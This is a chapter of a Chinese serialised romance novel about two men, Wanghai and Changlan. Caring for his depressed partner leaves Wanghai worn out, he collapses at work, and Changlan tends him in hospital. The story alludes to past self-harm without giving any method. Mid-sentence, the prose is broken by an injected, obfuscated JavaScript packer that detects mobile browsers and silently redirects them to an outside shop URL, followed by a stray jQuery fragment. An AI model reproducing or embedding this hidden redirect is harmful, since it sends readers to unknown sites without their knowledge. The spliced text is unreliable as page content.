忘海已经很久没有睡过一个完整的觉了。不是失眠，他太累了，几乎沾枕头就能睡着。但每次睡不到两个小时就会惊醒，像有一根无形的丝线系在他意识深处最脆弱的那根神经上，每隔一百二十分钟就扯一下。他会在黑暗中睁开眼睛，侧耳听身边苌斓的呼吸声。呼吸平稳，他才敢把头重新放回枕头上；如果呼吸太轻或太急促，他就会轻轻握住苌斓的手腕，用指尖按住那根跳动的血管，一下，两下，三下，默数到六十才松开。
他不敢想别的。那把剪刀还裹在旧毛衣里塞在衣柜最深处，但他每次打开衣柜拿衣服都会下意识往那个角落看一眼。有一天他在厨房切水果，苌斓站在他身后忽然开口说了句话，他握着刀的手猛地抖了一下，刀刃擦过指尖，削掉了一小块皮。血渗出来的瞬间，他第一反应不是去拿创可贴，而是回头看苌斓——看他有没有被吓到，有没有注意到那把刀。苌斓正低头捡掉在地上的苹果皮，什么都没看到。忘海把手背到身后，在水龙头下冲了冲伤口，裹了张纸巾，继续切水果。晚上洗澡时才把纸巾揭下来，伤口已经和纸粘在一起了。他没有告诉苌斓，他觉得自己能处理好这种小事。
白天他在设计院对着图纸一坐就是十个小时，午休时间别人趴在桌上午睡，他给苌斓打电话。问午饭吃了没有，药吃了没有，今天有没有出门走一走。苌斓有时说吃了，有时说不太饿，他都嗯一声，不说别的。挂了电话他靠在消防通道冰冷的墙壁上，闭眼站上片刻，然后回去继续画图。项目进度紧，甲方催得急，他不想让同事觉得自己因为家里的事拖后腿。下班铃一响他就收拾东西往外走，不参加聚餐，不参加团建。借口永远是家里有事——他没有撒谎。家里有一个人在等他，那个人每天都需要他确认呼吸。
苌斓的状态在好转。新调整的药物慢慢起效，睡眠比以前踏实了，胃口也恢复了一些，半夜惊醒的次数在减少。但忘海心里的弦没有松。因为苌斓还是会做噩梦——那些破碎的、含混的音节会从喉咙里挤出来，手指会攥住被角用力到指节发白。每次忘海都比他先醒，翻身过去轻轻拍他的肩膀，喊他的名字，一遍一遍，直到他紧皱的眉头慢慢松开，呼吸重新变得均匀。等苌斓再次睡熟，忘海躺回自己那侧，看着天花板，失眠到天亮。
有一天夜里苌斓又做了噩梦，忘海照常把他唤醒，照常给他倒水，照常坐在床边等他重新入睡。然后他起身去卫生间，关上门的瞬间，他弯下腰对着马桶干呕。他靠着浴室冰冷的瓷砖墙，用袖子擦掉嘴角的水渍，盯着镜子里自己苍白消瘦、眼眶下一片青灰的脸。他活了上百次人生，见过王朝覆灭，见过无数生离死别，从来没有像这一世这样累过。以前每一世他都是旁观者，但这一次不一样——他把整颗心都押在了这个叫苌斓的人身上，陪他熬过养父母的虐待、熬过天台的积雪、熬过急救室的红灯、熬过小灰的死。他以为熬过去就好了，可苌斓还是会半夜惊醒，还是会在噩梦里无声地喊他的名字。他不知道自己做错了什么。或者说，他不知道自己还能做什么。
第二天早上，他还是六点起床，磨好豆浆装进保温杯，在苌斓床头柜上放好当天早上的药片。然后他说我去上班了。苌斓正坐在床边穿袜子，抬头看了他一眼，说你的脸色怎么这么差。他说昨晚画图画晚了。苌斓没有再问，只是站起来走到他面前，伸手整了整他歪掉的领口。那个动作很轻，和当年在玄关母亲整他领口时一模一样。他说你今晚早点回来，我炖排骨汤，放当归，不放盐。忘海低头看着他整领口的手指，喉咙忽然像被什么东西堵住了，说不出一句话，只是轻轻点了一下头，然后转身推开门走了出去。再不走，他怕自己会当着他的面哭出来。他不能哭——他是一个活了一百多世的人，是那个永远温和沉静、永远能在最绝望的时候说出“红枣茶，八颗”的人。他不能倒下，因为他倒下了，苌斓就真的没有依靠了。
傍晚苌斓正站在灶台前搅排骨汤，手机响了。不是忘海的号码，是忘海同事用他的手机打来的。对方的声音很急，说忘海在办公室晕倒了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724404|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，正在送往医院的路上。他握着勺子的手停住了，砂锅里的汤咕嘟咕嘟冒着热气。他关了火，拿起外套，冲出家门。出租车停在中心医院急诊楼门口，他跑过那条他和忘海都太熟悉的走廊——他摔伤时忘海在外面守着，父亲抢救时他们并肩坐在塑料椅上，小灰死时他抱着凉透的小身体走过这条走廊。现在轮到忘海了。
医生说是过度疲劳和长期睡眠不足引起的心律失常，需要住院观察几天。忘海醒过来时，苌斓正坐在病床边，两只手都握着他的手，放在自己膝盖上。窗外天色已经暗下来了，床头柜上放着一个保温杯——是苌斓带来的排骨汤，放了当归，没放盐。忘海看着那个保温杯，旧的那个，杯盖磕坏了一角。他忽然想笑又想哭，但太累了，只是动了一下嘴角。
他想起四十九章结尾的画面——那天晚上他加班回来，手里拎着一碗小馄饨，推开门看见苌斓裹着他的围巾，左手无名指上戴着那枚戒指。床头的药盒空了一格，剪刀刃上有一丝极淡的血迹。他在苌斓面前蹲下来，握住他的手，说我害怕哪天回到家，你不在，我害怕那只手没有拉住你。那时候他怕的是失去苌斓，怕到把指甲刀都锁进抽屉里，怕到每晚数着他的呼吸才能入睡。现在换成苌斓坐在病床边，两只手都握着他的手，把排骨汤装在保温杯里带过来——他不用再害怕了。苌斓还在这里，手是热的，脉搏很稳，药按时吃了，排骨汤炖得很香。他怕了那么久的事没有发生，苌斓没有走。
苌斓把他的手攥得更紧了些，指节压在无名指那枚戒指上，硌得生疼。他说，以后排骨汤我每天炖。你不用赶着回来。汤在灶台上，我等你。
忘海看着他们交握的手，慢慢闭上眼睛。那根绷了太久的弦，在这一刻终于松了。窗外梧桐树光秃秃的枝丫在夜风里轻轻晃动，路灯把影子投在病房的窗帘上，像那年天台上并肩靠在矮墙上的两个小雪人——被风吹歪过，被雪埋过，但还靠在一起。排骨汤还很烫，苌斓握着他的手是凉的，但这些他们都会一点一点暖回来。